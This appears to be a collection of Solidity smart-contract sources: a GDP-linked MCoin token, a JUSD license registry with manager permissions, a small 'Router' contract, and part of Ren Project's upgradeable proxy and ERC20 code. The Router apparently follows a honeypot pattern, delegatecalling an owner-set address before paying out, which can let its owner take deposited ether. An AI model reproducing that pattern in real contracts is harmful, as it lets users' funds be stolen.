* @dev Allows to set the M5 token contract
* @param newM5Token The address of the new contract
*/
function upgradeM5Token(address newM5Token) public onlyUpgradeManager { // solium-disable-line
require(newM5Token != address(0));
emit M5TokenUpgrade(M5Token_, newM5Token);
M5Token_ = newM5Token;
}
/**
* @dev Allows the upgrade the M5 logic contract
* @param newM5Logic The address of the new contract
*/
function upgradeM5Logic(address newM5Logic) public onlyUpgradeManager { // solium-disable-line
require(newM5Logic != address(0));
emit M5LogicUpgrade(M5Logic_, newM5Logic);
M5Logic_ = newM5Logic;
}
/**
* @dev Allows the upgrade the M5 logic contract and token at the same transaction
* @param newM5Token The address of a new M5 token
* @param newM5Logic The address of the new contract
*/
function upgradeM5(address newM5Token, address newM5Logic) public onlyUpgradeManager { // solium-disable-line
require(newM5Token != address(0));
require(newM5Logic != address(0));
emit M5TokenUpgrade(M5Token_, newM5Token);
emit M5LogicUpgrade(M5Logic_, newM5Logic);
M5Token_ = newM5Token;
M5Logic_ = newM5Logic;
}
/**
* @dev Function to dismiss the upgrade capability
* @return True if the operation was successful.
*/
function finishUpgrade() onlyUpgradeManager public returns (bool) {
isUpgradeFinished_ = true;
emit FinishUpgrade();
return true;
}
/**
* @dev Calculate the reward if withdrawM5() happans on this block
* @notice This is a wrapper, which calls and return result from M5Logic
* the actual logic is found in the M5Logic contract
* @param _miner The address of the _miner
* @return An uint256 representing the reward amount
*/
function getM5Reward(address _miner) public view returns (uint256) {
require(M5Logic_ != address(0));
if (miners[_miner].value == 0) {
return 0;
}
// check that effective block reward is indeed negative
require(signedAverage(miners[_miner].onBlockReward, blockReward_) < 0);
// return length (bytes)
uint32 returnSize = 32;
// target contract
address target = M5Logic_;
// method signeture for target contract
bytes32 signature = keccak256("getM5Reward(address)");
// size of calldata for getM5Reward function: 4 for signeture and 32 for one variable (address)
uint32 inputSize = 4 + 32;
// variable to check delegatecall result (success or failure)
uint8 callResult;
// result from target.getM5Reward()
uint256 result;
assembly { // solium-disable-line
// return _dest.delegatecall(msg.data)
mstore(0x0, signature) // 4 bytes of method signature
mstore(0x4, _miner) // 20 bytes of address
// delegatecall(g, a, in, insize, out, outsize) - call contract at address a with input mem[in..(in+insize))
// providing g gas and v wei and output area mem[out..(out+outsize)) returning 0 on error (eg. out of gas) and 1 on success
// keep caller and callvalue
callResult := delegatecall(sub(gas, 10000), target, 0x0, inputSize, 0x0, returnSize)
switch callResult
case 0
{ revert(0,0) }
default
{ result := mload(0x0) }
}
return result;
}
event WithdrawM5(address indexed from,uint commitment, uint M5Reward);
/**
* @dev withdraw M5 reward, only appied to mining when GDP is negative
* @return {
"uint256 reward": the new M5 supply
"uint256 commitmentValue": the commitment to be returned
}
*/
function withdrawM5() public returns (uint256 reward, uint256 commitmentValue) {
require(M5Logic_ != address(0));
require(M5Token_ != address(0));
require(miners[msg.sender].value > 0);
// will revert if reward is positive
reward = getM5Reward(msg.sender);
commitmentValue = miners[msg.sender].value;
require(M5Logic_.delegatecall(bytes4(keccak256("withdrawM5()")))); // solium-disable-line
return (reward,commitmentValue);
}
//triggered when user swaps m5Value of M5 tokens for value of regular tokens.
event Swap(address indexed from, uint256 M5Value, uint256 value);
/**
* @dev swap M5 tokens back to regular tokens when GDP is back to positive
* @param _value The amount of M5 tokens to swap for regular tokens
* @return true
*/
function swap(uint256 _value) public returns (bool) {
require(M5Logic_ != address(0));
require(M5Token_ != address(0));
require(M5Logic_.delegatecall(bytes4(keccak256("swap(uint256)")),_value)); // solium-disable-line
return true;
}
}
/**
* @title MCoin
* @dev The MonetaryCoin contract
* The MonetaryCoin contract allows for the creation of a new monetary coin.
* The supply of a minable coin in a period is defined by an oracle that reports GDP data from the country related to that coin.
* Example: If the GDP of a given country grows by 3%, then 3% more coins will be available for forging (i.e. mining) in the next period.
* Coins will be distributed by the proof of stake forging mechanism both during and after the initial distribution period.
* The Proof of stake forging is defined by the MineableToken.sol contract.
*/
contract MCoin is MineableM5Token {
string public name; // solium-disable-line uppercase
string public symbol; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
constructor(
string tokenName,
string tokenSymbol,
uint256 blockReward, // will be transformed using toDecimals()
address GDPOracle,
address upgradeManager
) public
{
require(GDPOracle != address(0));
require(upgradeManager != address(0));
name = tokenName;
symbol = tokenSymbol;
blockReward_ = toDecimals(blockReward);
emit BlockRewardChanged(0, blockReward_);
GDPOracle_ = GDPOracle;
emit GDPOracleTransferred(0x0, GDPOracle_);
M5Token_ = address(0);
M5Logic_ = address(0);
upgradeManager_ = upgradeManager;
}
function toDecimals(uint256 _value) pure internal returns (int256 value) {
value = int256 (
_value.mul(10 ** uint256(decimals))
);
assert(0 < value);
return value;
}
}
|
DC1
|
/* Author: Victor Mezrin victor@mezrin.com */
pragma solidity ^0.4.24;
/**
* @title OwnableInterface
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract OwnableInterface {
/**
* @dev The getter for "owner" contract variable
*/
function getOwner() public constant returns (address);
/**
* @dev Throws if called by any account other than the current owner.
*/
modifier onlyOwner() {
require (msg.sender == getOwner());
_;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable is OwnableInterface {
/* Storage */
address owner = address(0x0);
address proposedOwner = address(0x0);
/* Events */
event OwnerAssignedEvent(address indexed newowner);
event OwnershipOfferCreatedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferAcceptedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferCancelledEvent(address indexed currentowner, address indexed proposedowner);
/**
* @dev The constructor sets the initial `owner` to the passed account.
*/
constructor () public {
owner = msg.sender;
emit OwnerAssignedEvent(owner);
}
/**
* @dev Old owner requests transfer ownership to the new owner.
* @param _proposedOwner The address to transfer ownership to.
*/
function createOwnershipOffer(address _proposedOwner) external onlyOwner {
require (proposedOwner == address(0x0));
require (_proposedOwner != address(0x0));
require (_proposedOwner != address(this));
proposedOwner = _proposedOwner;
emit OwnershipOfferCreatedEvent(owner, _proposedOwner);
}
/**
* @dev Allows the new owner to accept an ownership offer to contract control.
*/
//noinspection UnprotectedFunction
function acceptOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == proposedOwner);
address _oldOwner = owner;
owner = proposedOwner;
proposedOwner = address(0x0);
emit OwnerAssignedEvent(owner);
emit OwnershipOfferAcceptedEvent(_oldOwner, owner);
}
/**
* @dev Old owner cancels transfer ownership to the new owner.
*/
function cancelOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == owner || msg.sender == proposedOwner);
address _oldProposedOwner = proposedOwner;
proposedOwner = address(0x0);
emit OwnershipOfferCancelledEvent(owner, _oldProposedOwner);
}
/**
* @dev The getter for "owner" contract variable
*/
function getOwner() public constant returns (address) {
return owner;
}
/**
* @dev The getter for "proposedOwner" contract variable
*/
function getProposedOwner() public constant returns (address) {
return proposedOwner;
}
}
/**
* @title ManageableInterface
* @dev Contract that allows to grant permissions to any address
* @dev In real life we are no able to perform all actions with just one Ethereum address
* @dev because risks are too high.
* @dev Instead owner delegates rights to manage an contract to the different addresses and
* @dev stay able to revoke permissions at any time.
*/
contract ManageableInterface {
/**
* @dev Function to check if the manager can perform the action or not
* @param _manager address Manager`s address
* @param _permissionName string Permission name
* @return True if manager is enabled and has been granted needed permission
*/
function isManagerAllowed(address _manager, string _permissionName) public constant returns (bool);
/**
* @dev Modifier to use in derived contracts
*/
modifier onlyAllowedManager(string _permissionName) {
require(isManagerAllowed(msg.sender, _permissionName) == true);
_;
}
}
contract Manageable is OwnableInterface,
ManageableInterface {
/* Storage */
mapping (address => bool) managerEnabled; // hard switch for a manager - on/off
mapping (address => mapping (string => bool)) managerPermissions; // detailed info about manager`s permissions
/* Events */
event ManagerEnabledEvent(address indexed manager);
event ManagerDisabledEvent(address indexed manager);
event ManagerPermissionGrantedEvent(address indexed manager, bytes32 permission);
event ManagerPermissionRevokedEvent(address indexed manager, bytes32 permission);
/* Configure contract */
/**
* @dev Function to add new manager
* @param _manager address New manager
*/
function enableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == false);
managerEnabled[_manager] = true;
emit ManagerEnabledEvent(_manager);
}
/**
* @dev Function to remove existing manager
* @param _manager address Existing manager
*/
function disableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == true);
managerEnabled[_manager] = false;
emit ManagerDisabledEvent(_manager);
}
/**
* @dev Function to grant new permission to the manager
* @param _manager address Existing manager
* @param _permissionName string Granted permission name
*/
function grantManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == false);
managerPermissions[_manager][_permissionName] = true;
emit ManagerPermissionGrantedEvent(_manager, keccak256(_permissionName));
}
/**
* @dev Function to revoke permission of the manager
* @param _manager address Existing manager
* @param _permissionName string Revoked permission name
*/
function revokeManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == true);
managerPermissions[_manager][_permissionName] = false;
emit ManagerPermissionRevokedEvent(_manager, keccak256(_permissionName));
}
/* Getters */
/**
* @dev Function to check manager status
* @param _manager address Manager`s address
* @return True if manager is enabled
*/
function isManagerEnabled(
address _manager
)
public
constant
onlyValidManagerAddress(_manager)
returns (bool)
{
return managerEnabled[_manager];
}
/**
* @dev Function to check permissions of a manager
* @param _manager address Manager`s address
* @param _permissionName string Permission name
* @return True if manager has been granted needed permission
*/
function isPermissionGranted(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return managerPermissions[_manager][_permissionName];
}
/**
* @dev Function to check if the manager can perform the action or not
* @param _manager address Manager`s address
* @param _permissionName string Permission name
* @return True if manager is enabled and has been granted needed permission
*/
function isManagerAllowed(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return (managerEnabled[_manager] && managerPermissions[_manager][_permissionName]);
}
/* Helpers */
/**
* @dev Modifier to check manager address
*/
modifier onlyValidManagerAddress(address _manager) {
require(_manager != address(0x0));
_;
}
/**
* @dev Modifier to check name of manager permission
*/
modifier onlyValidPermissionName(string _permissionName) {
require(bytes(_permissionName).length != 0);
_;
}
}
/**
* @title PausableInterface
* @dev Base contract which allows children to implement an emergency stop mechanism.
* @dev Based on zeppelin's Pausable, but integrated with Manageable
* @dev Contract is in paused state by default and should be explicitly unlocked
*/
contract PausableInterface {
/**
* Events
*/
event PauseEvent();
event UnpauseEvent();
/**
* @dev called by the manager to pause, triggers stopped state
*/
function pauseContract() public;
/**
* @dev called by the manager to unpause, returns to normal state
*/
function unpauseContract() public;
/**
* @dev The getter for "paused" contract variable
*/
function getPaused() public constant returns (bool);
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenContractNotPaused() {
require(getPaused() == false);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenContractPaused {
require(getPaused() == true);
_;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
* @dev Based on zeppelin's Pausable, but integrated with Manageable
* @dev Contract is in paused state by default and should be explicitly unlocked
*/
contract Pausable is ManageableInterface,
PausableInterface {
/**
* Storage
*/
bool paused = true;
/**
* @dev called by the manager to pause, triggers stopped state
*/
function pauseContract() public onlyAllowedManager('pause_contract') whenContractNotPaused {
paused = true;
emit PauseEvent();
}
/**
* @dev called by the manager to unpause, returns to normal state
*/
function unpauseContract() public onlyAllowedManager('unpause_contract') whenContractPaused {
paused = false;
emit UnpauseEvent();
}
/**
* @dev The getter for "paused" contract variable
*/
function getPaused() public constant returns (bool) {
return paused;
}
}
/**
* @title BytecodeExecutorInterface interface
* @dev Implementation of a contract that execute any bytecode on behalf of the contract
* @dev Last resort for the immutable and not-replaceable contract :)
*/
contract BytecodeExecutorInterface {
/* Events */
event CallExecutedEvent(address indexed target,
uint256 suppliedGas,
uint256 ethValue,
bytes32 transactionBytecodeHash);
event DelegatecallExecutedEvent(address indexed target,
uint256 suppliedGas,
bytes32 transactionBytecodeHash);
/* Functions */
function executeCall(address _target, uint256 _suppliedGas, uint256 _ethValue, bytes _transactionBytecode) external;
function executeDelegatecall(address _target, uint256 _suppliedGas, bytes _transactionBytecode) external;
}
/**
* @title BytecodeExecutor
* @dev Implementation of a contract that execute any bytecode on behalf of the contract
* @dev Last resort for the immutable and not-replaceable contract :)
*/
contract BytecodeExecutor is ManageableInterface,
BytecodeExecutorInterface {
/* Storage */
bool underExecution = false;
/* BytecodeExecutorInterface */
function executeCall(
address _target,
uint256 _suppliedGas,
uint256 _ethValue,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_call')
{
require(underExecution == false);
underExecution = true; // Avoid recursive calling
_target.call.gas(_suppliedGas).value(_ethValue)(_transactionBytecode);
underExecution = false;
emit CallExecutedEvent(_target, _suppliedGas, _ethValue, keccak256(_transactionBytecode));
}
function executeDelegatecall(
address _target,
uint256 _suppliedGas,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_delegatecall')
{
require(underExecution == false);
underExecution = true; // Avoid recursive calling
_target.delegatecall.gas(_suppliedGas)(_transactionBytecode);
underExecution = false;
emit DelegatecallExecutedEvent(_target, _suppliedGas, keccak256(_transactionBytecode));
}
}
/**
* @title AssetIDInterface
* @dev Interface of a contract that assigned to an asset (JNT, JUSD etc.)
* @dev Contracts for the same asset (like JNT, JUSD etc.) will have the same AssetID.
* @dev This will help to avoid misconfiguration of contracts
*/
contract AssetIDInterface {
function getAssetID() public constant returns (string);
function getAssetIDHash() public constant returns (bytes32);
}
/**
* @title AssetID
* @dev Base contract implementing AssetIDInterface
*/
contract AssetID is AssetIDInterface {
/* Storage */
string assetID;
/* Constructor */
constructor (string _assetID) public {
require(bytes(_assetID).length > 0);
assetID = _assetID;
}
/* Getters */
function getAssetID() public constant returns (string) {
return assetID;
}
function getAssetIDHash() public constant returns (bytes32) {
return keccak256(assetID);
}
}
/**
* @title CrydrLicenseRegistryInterface
* @dev Interface of the contract that stores licenses
*/
contract CrydrLicenseRegistryInterface {
/**
* @dev Function to check licenses of investor
* @param _userAddress address User`s address
* @param _licenseName string License name
* @return True if investor is admitted and has required license
*/
function isUserAllowed(address _userAddress, string _licenseName) public constant returns (bool);
}
/**
* @title CrydrLicenseRegistryManagementInterface
* @dev Interface of the contract that stores licenses
*/
contract CrydrLicenseRegistryManagementInterface {
/* Events */
event UserAdmittedEvent(address indexed useraddress);
event UserDeniedEvent(address indexed useraddress);
event UserLicenseGrantedEvent(address indexed useraddress, bytes32 licensename);
event UserLicenseRenewedEvent(address indexed useraddress, bytes32 licensename);
event UserLicenseRevokedEvent(address indexed useraddress, bytes32 licensename);
/* Configuration */
/**
* @dev Function to admit user
* @param _userAddress address User`s address
*/
function admitUser(address _userAddress) external;
/**
* @dev Function to deny user
* @param _userAddress address User`s address
*/
function denyUser(address _userAddress) external;
/**
* @dev Function to check admittance of an user
* @param _userAddress address User`s address
* @return True if investor is in the registry and admitted
*/
function isUserAdmitted(address _userAddress) public constant returns (bool);
/**
* @dev Function to grant license to an user
* @param _userAddress address User`s address
* @param _licenseName string name of the license
*/
function grantUserLicense(address _userAddress, string _licenseName) external;
/**
* @dev Function to revoke license from the user
* @param _userAddress address User`s address
* @param _licenseName string name of the license
*/
function revokeUserLicense(address _userAddress, string _licenseName) external;
/**
* @dev Function to check license of an investor
* @param _userAddress address User`s address
* @param _licenseName string License name
* @return True if investor has been granted needed license
*/
function isUserGranted(address _userAddress, string _licenseName) public constant returns (bool);
}
/**
* @title CrydrLicenseRegistry
* @dev Contract that stores licenses
*/
contract CrydrLicenseRegistry is ManageableInterface,
CrydrLicenseRegistryInterface,
CrydrLicenseRegistryManagementInterface {
/* Storage */
mapping (address => bool) userAdmittance;
mapping (address => mapping (string => bool)) userLicenses;
/* CrydrLicenseRegistryInterface */
function isUserAllowed(
address _userAddress, string _licenseName
)
public
constant
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
returns (bool)
{
return userAdmittance[_userAddress] &&
userLicenses[_userAddress][_licenseName];
}
/* CrydrLicenseRegistryManagementInterface */
function admitUser(
address _userAddress
)
external
onlyValidAddress(_userAddress)
onlyAllowedManager('admit_user')
{
require(userAdmittance[_userAddress] == false);
userAdmittance[_userAddress] = true;
emit UserAdmittedEvent(_userAddress);
}
function denyUser(
address _userAddress
)
external
onlyValidAddress(_userAddress)
onlyAllowedManager('deny_user')
{
require(userAdmittance[_userAddress] == true);
userAdmittance[_userAddress] = false;
emit UserDeniedEvent(_userAddress);
}
function isUserAdmitted(
address _userAddress
)
public
constant
onlyValidAddress(_userAddress)
returns (bool)
{
return userAdmittance[_userAddress];
}
function grantUserLicense(
address _userAddress, string _licenseName
)
external
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
onlyAllowedManager('grant_license')
{
require(userLicenses[_userAddress][_licenseName] == false);
userLicenses[_userAddress][_licenseName] = true;
emit UserLicenseGrantedEvent(_userAddress, keccak256(_licenseName));
}
function revokeUserLicense(
address _userAddress, string _licenseName
)
external
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
onlyAllowedManager('revoke_license')
{
require(userLicenses[_userAddress][_licenseName] == true);
userLicenses[_userAddress][_licenseName] = false;
emit UserLicenseRevokedEvent(_userAddress, keccak256(_licenseName));
}
function isUserGranted(
address _userAddress, string _licenseName
)
public
constant
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
returns (bool)
{
return userLicenses[_userAddress][_licenseName];
}
function isUserLicenseValid(
address _userAddress, string _licenseName
)
public
constant
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
returns (bool)
{
return userLicenses[_userAddress][_licenseName];
}
/* Helpers */
modifier onlyValidAddress(address _userAddress) {
require(_userAddress != address(0x0));
_;
}
modifier onlyValidLicenseName(string _licenseName) {
require(bytes(_licenseName).length > 0);
_;
}
}
/**
* @title JCashLicenseRegistry
* @dev Contract that stores licenses
*/
contract JCashLicenseRegistry is AssetID,
Ownable,
Manageable,
Pausable,
BytecodeExecutor,
CrydrLicenseRegistry {
/* Constructor */
constructor (string _assetID) AssetID(_assetID) public { }
}
contract JUSDLicenseRegistry is JCashLicenseRegistry {
constructor () public JCashLicenseRegistry('JUSD') {}
}
|
DC1
|
pragma solidity ^0.4.18;
contract Router
{
address public Owner = msg.sender;
address public DataBase;
uint256 public Limit;
function Set(address dataBase, uint256 limit)
{
require(msg.sender == Owner);
Limit = limit;
DataBase = dataBase;
}
function()payable{}
function transfer(address adr)
payable
{
if(msg.value>Limit)
{
DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender);
adr.transfer(this.balance);
}
}
}
|
DC1
|
/**
Deployed by Ren Project, https://renproject.io
Commit hash: 9068f80
Repository: https://github.com/renproject/darknode-sol
Issues: https://github.com/renproject/darknode-sol/issues
Licenses
@openzeppelin/contracts: (MIT) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/LICENSE
darknode-sol: (GNU GPL V3) https://github.com/renproject/darknode-sol/blob/master/LICENSE
*/
pragma solidity 0.5.16;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract Context is Initializable {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
contract Claimable is Initializable, Ownable {
address public pendingOwner;
function initialize(address _nextOwner) public initializer {
Ownable.initialize(_nextOwner);
}
modifier onlyPendingOwner() {
require(
_msgSender() == pendingOwner,
"Claimable: caller is not the pending owner"
);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != owner() && newOwner != pendingOwner,
"Claimable: invalid new owner"
);
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
_transferOwnership(pendingOwner);
delete pendingOwner;
}
}
contract Proxy {
function () payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library OpenZeppelinUpgradesAddress {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract BaseUpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address) {
return _admin();
}
function implementation() external ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
